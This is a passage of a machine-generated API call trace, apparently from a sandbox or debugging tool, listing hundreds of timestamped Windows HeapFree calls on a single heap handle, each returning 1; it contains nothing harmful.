lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0170.062] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0170.062] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0170.062] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0170.063] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0170.063] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0170.063] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0170.063] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0170.063] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0170.066] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0170.069] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0170.072] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0170.076] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0170.081] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0170.086] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0170.093] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0170.096] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0170.355] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0170.358] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0170.378] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0170.534] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0170.541] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0170.544] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0170.544] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0170.547] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0170.552] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0170.555] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0170.555] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0170.559] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0170.561] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0170.567] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0170.567] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0170.569] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0170.569] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0170.569] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0170.608] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0170.609] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0170.841] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0170.843] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0170.844] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0170.844] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0170.847] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0170.847] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0170.847] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0170.850] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0170.852] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0170.855] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0170.855] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0170.860] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0170.868] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0170.868] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0170.869] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0170.869] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0170.874] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0170.874] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0170.878] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0171.176] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0171.177] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0171.444] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0171.548] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0171.680] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.681] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.682] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.683] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.683] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.684] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.685] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.688] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.689] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.690] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.691] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.691] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.692] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.693] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.694] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.695] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.696] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.697] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.698] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.699] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.700] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.701] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.702] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.703] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.704] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.705] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.706] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.707] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.708] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.709] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.710] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.711] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.712] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.713] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.713] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.714] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.714] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.715] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.715] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.716] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.717] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.719] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.720] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0172.072] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0172.074] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0172.075] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0172.086] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0172.097] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0172.105] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0172.278] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0172.278] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0172.278] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0172.280] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0172.285] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0172.300] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0172.300] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0172.301] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0172.302] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0172.932] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0172.932] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0173.130] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0173.130] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0173.137] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0173.209] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0173.209] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0173.849] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0173.851] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0173.851] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0173.852] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0173.853] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0173.853] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0173.853] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0173.853] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0173.857] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0173.858] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0173.858] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0174.667] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0174.667] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0174.667] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0174.668] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0174.673] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0174.674] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0174.678] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0174.679] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0174.687] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0174.687] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0174.688] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0174.692] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0174.692] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0174.696] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0174.697] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0174.698] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0174.699] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0174.701] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0174.857] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0174.857] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0174.859] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x469ffe8 | out: hHeap=0x710000) returned 1 [0174.861] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x469ffe8 | out: hHeap=0x710000) returned 1 [0174.863] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0174.867] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0174.868] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0174.868] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x469ffe8 | out: hHeap=0x710000) returned 1 [0174.868] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0174.869] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x469ffe8 | out: hHeap=0x710000) returned 1 [0174.869] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0174.870] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0174.870] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0174.870] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0174.871] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x469ffe8 | out: hHeap=0x710000) returned 1 [0174.871] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0174.871] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0174.871] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0174.871] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0175.731] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.732] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.732] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.732] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.732] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.733] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.733] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.733] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.734] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.734] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.734] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.734] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.735] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.735] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.735] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.736] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.736] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.736] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.736] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.737] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.737] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.737] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.738] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.738] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.738] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.739] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.739] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.740] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.740] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.740] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.740] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.741] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.741] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.741] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.742] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.742] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.742] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.742] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.743] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.743] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.884] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0176.053] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0176.064] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0176.066] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0176.068] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0176.068] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0176.071] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0176.072] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0176.073] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0176.074] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0176.075] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0176.077] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x469ffe8 | out: hHeap=0x710000) returned 1 [0176.077] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0176.077] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0176.082] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0176.082] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0176.084] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0176.084] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x469ffe8 | out: hHeap=0x710000) returned 1 [0176.084] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0176.084] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0176.087] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0176.089] HeapFree 